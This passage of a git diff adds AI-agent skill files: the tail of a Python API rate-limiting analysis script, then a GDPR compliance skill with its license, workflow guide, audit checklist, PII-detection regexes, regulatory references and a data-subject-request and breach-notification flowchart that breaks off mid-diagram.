TokenBucket(max_tokens=rate, refill_rate=rate / 60.0) + else: + limiter = SlidingWindow(window_seconds=60, max_requests=rate) + allowed = 0 + denied = 0 + for i in range(requests_count): + ok, _ = limiter.allow("test_client") + if ok: + allowed += 1 + else: + denied += 1 + return { + "algorithm": algorithm, "total_requests": requests_count, + "allowed": allowed, "denied": denied, + "effective_rate": round(allowed / requests_count * 100, 1), + } + + +def generate_rate_limit_recommendations(log_path): + """Generate rate limit recommendations from traffic patterns.""" + ip_rpm = defaultdict(int) + endpoint_rpm = defaultdict(int) + with open(log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + ip = entry.get("client_ip", "") + endpoint = entry.get("path", "") + ip_rpm[ip] += 1 + endpoint_rpm[endpoint] += 1 + ip_values = sorted(ip_rpm.values()) + p95 = ip_values[int(len(ip_values) * 0.95)] if ip_values else 100 + p99 = ip_values[int(len(ip_values) * 0.99)] if ip_values else 200 + return { + "global_rate_limit": p99 * 2, + "per_ip_limit": p95 * 2, + "auth_endpoint_limit": max(10, p95 // 10), + "p95_requests_per_ip": p95, + "p99_requests_per_ip": p99, + } + + +def main(): + parser = argparse.ArgumentParser(description="API Rate Limiting Agent") + parser.add_argument("--action", choices=[ + "analyze", "simulate", "recommend", "full" + ], default="full") + parser.add_argument("--log", help="API access log (JSON lines)") + parser.add_argument("--algorithm", choices=["token_bucket", "sliding_window"], + default="token_bucket") + parser.add_argument("--output", default="rate_limiting_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("analyze", "full") and args.log: + f = analyze_rate_limit_effectiveness(args.log) + report["findings"]["effectiveness"] = f + print(f"[+] Rate limit issues: {len(f)}") + + if args.action in ("simulate", "full"): + result = simulate_rate_limit_test(args.algorithm) + report["findings"]["simulation"] = result + print(f"[+] Simulation: {result['allowed']}/{result['total_requests']} allowed") + + if args.action in ("recommend", "full") and args.log: + recs = generate_rate_limit_recommendations(args.log) + report["findings"]["recommendations"] = recs + print(f"[+] Recommended per-IP limit: {recs['per_ip_limit']}") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/implementing-gdpr-data-protection-controls/LICENSE b/.claude/skills/implementing-gdpr-data-protection-controls/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/implementing-gdpr-data-protection-controls/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/implementing-gdpr-data-protection-controls/SKILL.md b/.claude/skills/implementing-gdpr-data-protection-controls/SKILL.md new file mode 100644 index 0000000..38806f2 --- /dev/null +++ b/.claude/skills/implementing-gdpr-data-protection-controls/SKILL.md @@ -0,0 +1,194 @@ +--- +name: implementing-gdpr-data-protection-controls +description: Implements GDPR (EU 2016/679) technical and organizational measures — privacy by design/default, DPIAs, data subject rights management, 72-hour breach notification, and cross-border transfer mechanisms (SCCs, BCRs, adequacy). Use when designing or auditing GDPR controls, building a DPIA, handling data subject access/erasure requests, or assessing cross-border data transfers. +domain: cybersecurity +subdomain: compliance-governance +tags: +- compliance +- governance +- gdpr +- privacy +- data-protection +- eu-regulation +nist_csf: +- GV.OC-02 +- GV.PO-01 +- PR.DS-01 +- PR.AA-01 +- ID.AM-02 +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_ai_rmf: +- MEASURE-2.7 +- MAP-5.1 +- MANAGE-2.4 +- MEASURE-2.8 +- MEASURE-2.9 +atlas_techniques: +- AML.T0070 +- AML.T0066 +- AML.T0082 +mitre_attack: +- T1078 +- T1530 +- T1685.002 +--- +# Implementing GDPR Data Protection Controls + +## Overview +The General Data Protection Regulation (EU) 2016/679 (GDPR) is the EU's comprehensive data protection law governing the collection, processing, storage, and transfer of personal data. This skill covers implementing the technical and organizational measures required by GDPR, including data protection by design and by default, Data Protection Impact Assessments (DPIAs), data subject rights management, breach notification procedures, and cross-border data transfer mechanisms. + + +## When to Use + +- When deploying or configuring implementing gdpr data protection controls capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites +- Understanding of EU data protection law and its territorial scope +- Knowledge of personal data processing activities within the organization +- Familiarity with data architecture, databases, and application systems +- Understanding of data flows including cross-border transfers + +## Core Concepts + +### Key GDPR Articles for Technical Controls + +| Article | Requirement | +|---------|-------------| +| Art. 5 | Principles: lawfulness, purpose limitation, data minimization, accuracy, storage limitation, integrity and confidentiality, accountability | +| Art. 6 | Lawful basis for processing (consent, contract, legal obligation, vital interests, public task, legitimate interest) | +| Art. 25 | Data protection by design and by default | +| Art. 28 | Processor obligations and contractual requirements | +| Art. 30 | Records of processing activities (ROPA) | +| Art. 32 | Security of processing (technical and organizational measures) | +| Art. 33 | Breach notification to supervisory authority (72 hours) | +| Art. 34 | Communication of breach to data subjects | +| Art. 35 | Data Protection Impact Assessment (DPIA) | +| Art. 37-39 | Data Protection Officer (DPO) appointment and role | +| Art. 44-49 | Cross-border data transfers (adequacy, SCCs, BCRs) | + +### Article 32 Security Measures +The regulation requires organizations to implement measures appropriate to the risk: +- **Pseudonymization** and encryption of personal data +- **Confidentiality, integrity, availability, and resilience** of processing systems +- **Ability to restore** availability and access to personal data in a timely manner +- **Regular testing** and evaluation of technical and organizational measures + +### Data Subject Rights (Articles 12-22) +| Right | Article | Description | +|-------|---------|-------------| +| Right to be informed | 13-14 | Transparent information about processing | +| Right of access | 15 | Obtain copy of personal data | +| Right to rectification | 16 | Correct inaccurate data | +| Right to erasure | 17 | "Right to be forgotten" | +| Right to restrict processing | 18 | Limit processing of data | +| Right to data portability | 20 | Receive data in machine-readable format | +| Right to object | 21 | Object to processing (especially direct marketing) | +| Automated decision-making | 22 | Not be subject to solely automated decisions | + +## Workflow + +### Phase 1: Data Mapping and Assessment (Weeks 1-6) +1. Create comprehensive data inventory: + - What personal data is collected + - From whom (data subjects) + - Why (purposes and lawful bases) + - Where it's stored (systems, locations, countries) + - Who has access (internal and external) + - How long it's retained + - What security measures protect it +2. Document Records of Processing Activities (ROPA) per Article 30 +3. Identify lawful basis for each processing activity +4. Map cross-border data transfers and transfer mechanisms +5. Identify processing activities requiring DPIA + +### Phase 2: Gap Analysis and Risk Assessment (Weeks 7-10) +1. Assess current state against GDPR requirements +2. Perform DPIAs for high-risk processing activities +3. Identify security gaps in Article 32 compliance +4. Evaluate data retention compliance +5. Assess data subject rights request handling capabilities + +### Phase 3: Technical Controls Implementation (Weeks 11-24) +1. **Encryption**: + - Data at rest: AES-256 for databases, file systems, backups + - Data in transit: TLS 1.2+ for all personal data transfers + - Key management: secure key storage and rotation procedures +2. **Pseudonymization**: + - Implement tokenization for sensitive identifiers + - Separate pseudonymization keys from data stores +3. **Access Controls**: + - Role-based access control (RBAC) for personal data + - Principle of least privilege + - MFA for systems processing personal data + - Regular access reviews +4. **Data Minimization**: + - Implement data collection limits at application layer + - Default privacy settings (data protection by default) + - Automated data retention enforcement +5. **Erasure and Portability**: + - Build data deletion workflows across all systems + - Implement data export in machine-readable formats (JSON, CSV) + - Cascade deletion to backups and archives +6. **Consent Management**: + - Implement granular consent collection mechanisms + - Consent withdrawal functionality + - Consent audit trail and versioning +7. **Breach Detection**: + - SIEM for personal data access monitoring + - Data loss prevention (DLP) controls + - Anomalous access detection + +### Phase 4: Organizational Controls (Weeks 11-24) +1. Appoint Data Protection Officer (DPO) if required +2. Develop data protection policies and procedures +3. Create breach notification procedures (72-hour timeline) +4. Establish data subject request (DSR) handling procedures +5. Implement vendor management with Data Processing Agreements (DPAs) +6. Deploy privacy awareness training for all staff +7. Create data protection by design guidance for development teams + +### Phase 5: Documentation and Compliance Evidence (Weeks 25-30) +1. Finalize ROPA documentation +2. Document all DPIAs and outcomes +3. Create data protection policies +4. Document technical and organizational measures +5. Establish privacy notice and consent records +6. Create international transfer documentation (SCCs, TIAs) + +### Phase 6: Ongoing Compliance (Continuous) +1. Regular DPIA reviews for new processing activities +2. Annual data mapping refresh +3. Periodic security measure testing (Art. 32 requirement) +4. Data subject request tracking and SLA monitoring +5. Breach response readiness testing +6. Training refresh and awareness campaigns + +## Key Artifacts +- Records of Processing Activities (ROPA) +- Data Protection Impact Assessments (DPIAs) +- Data Processing Agreements (DPAs) +- Privacy Notices and Consent Records +- Breach Response Procedures and Register +- Data Subject Request Handling Procedures +- International Data Transfer Mechanisms (SCCs, BCRs) +- Technical and Organizational Measures Documentation + +## Common Pitfalls +- Treating GDPR as only a legal/compliance exercise without technical implementation +- Incomplete data mapping missing shadow IT or legacy systems +- Failing to maintain consent audit trails +- Not testing 72-hour breach notification capability +- Ignoring cross-border transfer requirements for cloud services +- Over-reliance on consent as lawful basis when legitimate interest applies + +## References +- GDPR Official Text: https://gdpr-info.eu/ +- European Data Protection Board (EDPB) Guidelines +- ICO (UK) GDPR Guidance: https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/ +- CNIL (France) GDPR Compliance Toolkit +- Article 29 Working Party Guidelines on DPIAs diff --git a/.claude/skills/implementing-gdpr-data-protection-controls/assets/template.md b/.claude/skills/implementing-gdpr-data-protection-controls/assets/template.md new file mode 100644 index 0000000..684f35a --- /dev/null +++ b/.claude/skills/implementing-gdpr-data-protection-controls/assets/template.md @@ -0,0 +1,140 @@ +# GDPR Compliance Audit Checklist + +## Organization Information +| Field | Value | +|-------|-------| +| Organization Name | | +| Role | Controller / Processor / Joint Controller | +| DPO Name and Contact | | +| Lead Supervisory Authority | | +| Assessment Date | | +| Assessor | | + +--- + +## Article 5: Data Processing Principles +- [ ] Lawfulness: All processing has documented lawful basis (Art. 6) +- [ ] Fairness: Processing is fair and does not cause unjustified adverse effects +- [ ] Transparency: Privacy notices provided at point of collection (Art. 13/14) +- [ ] Purpose Limitation: Data collected for specified, explicit, and legitimate purposes +- [ ] Data Minimization: Only data necessary for the purpose is collected +- [ ] Accuracy: Processes exist to keep personal data accurate and up to date +- [ ] Storage Limitation: Retention periods defined and enforced for all data categories +- [ ] Integrity and Confidentiality: Technical and organizational security measures in place +- [ ] Accountability: Ability to demonstrate compliance with all principles + +## Article 6: Lawful Basis +- [ ] Lawful basis identified for each processing activity +- [ ] Consent is freely given, specific, informed, and unambiguous where used +- [ ] Consent withdrawal mechanism available and easy to use +- [ ] Legitimate interest assessments documented where Art. 6(1)(f) relied upon +- [ ] Legal bases recorded in ROPA + +## Articles 13-14: Transparency +- [ ] Privacy notice provided at time of data collection (Art. 13) +- [ ] Privacy notice provided when data obtained indirectly (Art. 14) +- [ ] Notices include: controller identity, purposes, lawful basis, recipients, retention, rights, DPO contact +- [ ] Notices are concise, transparent, intelligible, and in plain language +- [ ] Notices available in appropriate languages + +## Articles 15-22: Data Subject Rights +- [ ] Process for receiving and handling DSRs documented +- [ ] Identity verification procedure before fulfilling requests +- [ ] Response within one month (extendable by two months for complex requests) +- [ ] Right of access (Art. 15): can provide copy of personal data +- [ ] Right to rectification (Art. 16): can correct inaccurate data +- [ ] Right to erasure (Art. 17): can delete data across all systems including backups +- [ ] Right to restriction (Art. 18): can restrict processing when contested +- [ ] Right to portability (Art. 20): can export data in machine-readable format +- [ ] Right to object (Art. 21): can cease processing when objected to +- [ ] Automated decision-making (Art. 22): safeguards for solely automated decisions + +## Article 25: Data Protection by Design and Default +- [ ] Privacy considerations integrated into system design processes +- [ ] Default settings are most privacy-protective +- [ ] Only personal data necessary for each purpose is processed by default +- [ ] Data protection integrated into development lifecycle + +## Article 28: Processors +- [ ] All processors identified and documented +- [ ] Data Processing Agreements (DPAs) in place with all processors +- [ ] DPAs include required Art. 28 provisions +- [ ] Processor security measures verified +- [ ] Sub-processor notification process in place + +## Article 30: Records of Processing Activities (ROPA) +- [ ] ROPA maintained and up to date +- [ ] All processing activities documented +- [ ] Controller details, purposes, data categories, recipients, transfers, retention, security measures recorded +- [ ] Available for supervisory authority on request + +## Article 32: Security of Processing +- [ ] Risk-appropriate technical measures: + - [ ] Encryption of personal data (at rest and in transit) + - [ ] Pseudonymization implemented where appropriate + - [ ] Access controls and authentication + - [ ] Logging and monitoring of access to personal data + - [ ] Data loss prevention controls +- [ ] Risk-appropriate organizational measures: + - [ ] Information security policies + - [ ] Staff training on data protection + - [ ] Confidentiality agreements + - [ ] Access review processes +- [ ] Ability to restore availability and access after incident +- [ ] Regular testing and evaluation of security measures + +## Articles 33-34: Breach Notification +- [ ] Breach detection and assessment procedures documented +- [ ] 72-hour notification to supervisory authority process in place +- [ ] Data subject notification process for high-risk breaches +- [ ] Breach register maintained +- [ ] Breach response plan tested within last 12 months + +## Article 35: Data Protection Impact Assessment +- [ ] DPIA criteria documented (when DPIA is required) +- [ ] DPIA process documented +- [ ] DPIAs conducted for all high-risk processing +- [ ] DPO consulted on DPIAs +- [ ] DPIAs reviewed when processing changes + +## Articles 44-49: International Transfers +- [ ] All international transfers identified and documented +- [ ] Transfer mechanisms in place (adequacy, SCCs, BCRs) +- [ ] Transfer Impact Assessments conducted for non-adequate countries +- [ ] Supplementary measures implemented where required +- [ ] Standard Contractual Clauses (new 2021 modular version) executed + +## Articles 37-39: Data Protection Officer +- [ ] DPO appointed (if required: public authority, core activity large-scale monitoring, core activity special categories) +- [ ] DPO has expert knowledge of data protection law +- [ ] DPO involved in all data protection matters +- [ ] DPO reports to highest management level +- [ ] DPO contact details published and communicated to supervisory authority + +--- + +## Summary + +| GDPR Area | Items | Compliant | Non-Compliant | N/A | +|-----------|-------|-----------|---------------|-----| +| Principles (Art. 5) | | | | | +| Lawful Basis (Art. 6) | | | | | +| Transparency (Art. 13-14) | | | | | +| Data Subject Rights (Art. 15-22) | | | | | +| Privacy by Design (Art. 25) | | | | | +| Processors (Art. 28) | | | | | +| ROPA (Art. 30) | | | | | +| Security (Art. 32) | | | | | +| Breach Notification (Art. 33-34) | | | | | +| DPIA (Art. 35) | | | | | +| International Transfers (Art. 44-49) | | | | | +| DPO (Art. 37-39) | | | | | +| **Total** | | | | | + +## Sign-off +| Role | Name | Signature | Date | +|------|------|-----------|------| +| DPO | | | | +| CISO | | | | +| Legal Counsel | | | | +| Senior Management | | | | diff --git a/.claude/skills/implementing-gdpr-data-protection-controls/references/api-reference.md b/.claude/skills/implementing-gdpr-data-protection-controls/references/api-reference.md new file mode 100644 index 0000000..d84e830 --- /dev/null +++ b/.claude/skills/implementing-gdpr-data-protection-controls/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: Implementing GDPR Data Protection Controls + +## Key GDPR Articles + +| Article | Requirement | Technical Control | +|---------|-------------|-------------------| +| Art 5 | Processing principles | Data minimization, retention policies | +| Art 25 | Privacy by design | Default privacy settings | +| Art 30 | Records of processing | ROPA documentation system | +| Art 32 | Security of processing | Encryption, access controls, testing | +| Art 33 | Breach notification | 72-hour DPA notification | +| Art 35 | DPIA | Impact assessment for high-risk processing | + +## Data Subject Rights (Art 12-22) + +| Right | Article | SLA | +|-------|---------|-----| +| Access | Art 15 | 1 month | +| Rectification | Art 16 | 1 month | +| Erasure | Art 17 | 1 month | +| Portability | Art 20 | 1 month | +| Object | Art 21 | Without undue delay | + +## PII Detection Patterns + +```python +import re +patterns = { + "email": r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b", + "iban": r"\b[A-Z]{2}\d{2}[A-Z0-9]{11,30}\b", + "ip_address": r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", +} +``` + +## ROPA Required Fields (Art 30) + +| Field | Description | +|-------|-------------| +| controller_name | Data controller identity | +| purposes | Processing purposes | +| data_categories | Types of personal data | +| data_subjects | Categories of data subjects | +| recipients | Data recipients | +| transfers | Cross-border transfers | +| retention_periods | Data retention schedules | +| security_measures | Art 32 controls | + +## Cross-Border Transfer Mechanisms (Art 44-49) + +| Mechanism | Use Case | +|-----------|----------| +| Adequacy Decision | Transfer to adequate countries (Art 45) | +| Standard Contractual Clauses (SCCs) | Most common mechanism (Art 46) | +| Binding Corporate Rules (BCRs) | Intra-group transfers (Art 47) | +| Derogations | Consent, contract necessity (Art 49) | + +### References + +- GDPR Official Text: https://gdpr-info.eu/ +- EDPB Guidelines: https://edpb.europa.eu/our-work-tools/general-guidance/guidelines-recommendations-best-practices_en +- ICO GDPR Guide: https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/ diff --git a/.claude/skills/implementing-gdpr-data-protection-controls/references/standards.md b/.claude/skills/implementing-gdpr-data-protection-controls/references/standards.md new file mode 100644 index 0000000..9848521 --- /dev/null +++ b/.claude/skills/implementing-gdpr-data-protection-controls/references/standards.md @@ -0,0 +1,108 @@ +# GDPR Standards Reference + +## Primary Legislation + +### Regulation (EU) 2016/679 - General Data Protection Regulation +- **Adopted**: April 14, 2016 +- **Effective**: May 25, 2018 +- **Scope**: Applies to any organization processing personal data of EU/EEA residents +- **Chapters**: 11 chapters, 99 articles, 173 recitals +- **Enforcement**: Supervisory authorities in each EU member state +- **Penalties**: Up to EUR 20 million or 4% of annual global turnover (whichever is greater) + +## Key Articles Reference + +### Chapter II - Principles (Articles 5-11) +- **Art. 5**: Core processing principles (lawfulness, fairness, transparency, purpose limitation, data minimization, accuracy, storage limitation, integrity and confidentiality, accountability) +- **Art. 6**: Six lawful bases for processing +- **Art. 7**: Conditions for consent +- **Art. 8**: Child's consent (minimum age varies by member state, 13-16) +- **Art. 9**: Special categories of data (health, biometric, genetic, racial/ethnic, political, religious, trade union, sexual orientation) +- **Art. 10**: Criminal conviction data + +### Chapter III - Rights of the Data Subject (Articles 12-23) +- **Art. 12**: Transparent communication (one month response deadline) +- **Art. 13**: Information for direct collection +- **Art. 14**: Information for indirect collection +- **Art. 15**: Right of access (copy of data, processing purposes, recipients, retention periods, safeguards for transfers) +- **Art. 16**: Right to rectification +- **Art. 17**: Right to erasure (applies when: consent withdrawn, purpose fulfilled, unlawful processing, legal obligation) +- **Art. 18**: Right to restriction of processing +- **Art. 20**: Right to data portability (structured, commonly used, machine-readable format) +- **Art. 21**: Right to object (especially direct marketing - absolute right) +- **Art. 22**: Automated individual decision-making including profiling + +### Chapter IV - Controller and Processor (Articles 24-43) +- **Art. 24**: Responsibility of the controller +- **Art. 25**: Data protection by design and by default +- **Art. 26**: Joint controllers +- **Art. 28**: Processor (DPA requirements: subject-matter, duration, nature/purpose, personal data types, data subject categories, controller obligations/rights) +- **Art. 30**: Records of processing activities +- **Art. 32**: Security of processing +- **Art. 33**: Notification to supervisory authority (72 hours) +- **Art. 34**: Communication to data subject (when high risk to rights and freedoms) +- **Art. 35**: Data Protection Impact Assessment (DPIA) +- **Art. 36**: Prior consultation with supervisory authority +- **Art. 37-39**: Data Protection Officer + +### Chapter V - International Transfers (Articles 44-49) +- **Art. 45**: Adequacy decision (EU Commission determines adequate countries) +- **Art. 46**: Appropriate safeguards (SCCs, BCRs, codes of conduct, certification) +- **Art. 47**: Binding Corporate Rules +- **Art. 49**: Derogations (explicit consent, contract, public interest) + +## Supporting Standards and Guidance + +### ISO/IEC 27701:2019 +- Privacy Information Management System (PIMS) extension to ISO 27001 +- Maps GDPR requirements to ISO management system controls +- Provides controller and processor-specific guidance + +### EDPB Guidelines +- Guidelines on Data Protection Impact Assessment (WP 248) +- Guidelines on Data Breach Notification (WP 250) +- Guidelines on Consent (updated 2020) +- Guidelines on International Data Transfers (post-Schrems II) +- Guidelines on Data Protection by Design and Default (04/2019) + +### Transfer Mechanisms Post-Schrems II +- **Standard Contractual Clauses (SCCs)**: New modular SCCs adopted June 2021 + - Module 1: Controller to Controller + - Module 2: Controller to Processor + - Module 3: Processor to Processor + - Module 4: Processor to Controller +- **Transfer Impact Assessment (TIA)**: Required to supplement SCCs +- **Supplementary Measures**: Technical (encryption, pseudonymization), contractual, organizational +- **EU-US Data Privacy Framework**: Adequacy decision adopted July 2023 + +### DPIA Criteria (Article 35(3) and EDPB) +DPIA required when processing involves: +1. Systematic and extensive evaluation of personal aspects (profiling) +2. Large-scale processing of special categories or criminal data +3. Systematic monitoring of publicly accessible areas +4. New technologies with potential high risk +5. Large-scale data processing +6. Matching or combining datasets +7. Data concerning vulnerable subjects +8. Innovative use of biometric data +9. Data transfers outside EU without adequacy +10. Processing that prevents data subjects from exercising rights + +## Supervisory Authorities +| Country | Authority | Website | +|---------|-----------|---------| +| EU-wide | European Data Protection Board (EDPB) | edpb.europa.eu | +| France | CNIL | cnil.fr | +| Germany | BfDI (Federal), State DPAs | bfdi.bund.de | +| Ireland | DPC | dataprotection.ie | +| Netherlands | Autoriteit Persoonsgegevens | autoriteitpersoonsgegevens.nl | +| Spain | AEPD | aepd.es | +| Italy | Garante | garanteprivacy.it | +| UK | ICO (UK GDPR post-Brexit) | ico.org.uk | + +## Key Enforcement Decisions (Benchmark) +- Meta (Ireland DPC, 2023): EUR 1.2 billion - Transfers to US without adequate safeguards +- Amazon (Luxembourg CNPD, 2021): EUR 746 million - Advertising targeting +- WhatsApp (Ireland DPC, 2021): EUR 225 million - Transparency failures +- Google (CNIL, 2022): EUR 150 million - Cookie consent +- H&M (Hamburg DPA, 2020): EUR 35.3 million - Employee surveillance diff --git a/.claude/skills/implementing-gdpr-data-protection-controls/references/workflows.md b/.claude/skills/implementing-gdpr-data-protection-controls/references/workflows.md new file mode 100644 index 0000000..5c59b03 --- /dev/null +++ b/.claude/skills/implementing-gdpr-data-protection-controls/references/workflows.md @@ -0,0 +1,288 @@ +# GDPR Data Protection Control Workflows + +## Workflow 1: Data Subject Request (DSR) Handling + +``` +Start + | + v +[Receive DSR from Data Subject] + - Via email, web form, phone, in-person + - Record receipt timestamp (30-day clock starts) + | + v +[Verify Identity of Requestor] + - Request additional identification if needed + - Clock pauses until identity verified + | + v +[Classify Request Type] + | + +--> Access Request (Art. 15) --> Locate all personal data + +--> Rectification (Art. 16) --> Identify incorrect data + +--> Erasure (Art. 17) --> Verify grounds for erasure + +--> Restriction (Art. 18) --> Flag data for restriction + +--> Portability (Art. 20) --> Export in machine-readable format + +--> Objection (Art. 21) --> Assess processing basis + | + v +[Check for Exemptions] + - Legal obligation to retain + - Freedom of expression + - Public health + - Archiving in public interest + - Legal claims + | + v +[Execute Request Across All Systems] + - Production databases + - Backups and archives + - Third-party processors + - Cloud services + - Analytics platforms + | + v +[Document Action Taken] + | + v +[Respond to Data Subject within 30 days] + - Extension to 60 additional days if complex (notify subject) + | + v +End +``` + +## Workflow 2: Data Breach Notification (Art. 33-34) + +``` +Start + | + v +[Breach Detected or Reported] + - Technical detection (SIEM, DLP, IDS) + - Employee report + - External notification + - Third-party processor notification + | + v +[72-hour Clock Starts] + | + v +[Assess Breach Severity] + - Number of data subjects affected + - Types of personal data compromised + - Special categories involved? + - Risk to rights and freedoms + | + v +[Determine Notification Requirements] + | + +--> [Risk to Rights and Freedoms?] + | + +--> No Risk --> Document in breach register only + | + +--> Risk exists --> Notify Supervisory Authority (72 hours) + | | + | v + +--> High Risk --> Notify Supervisory Authority (72 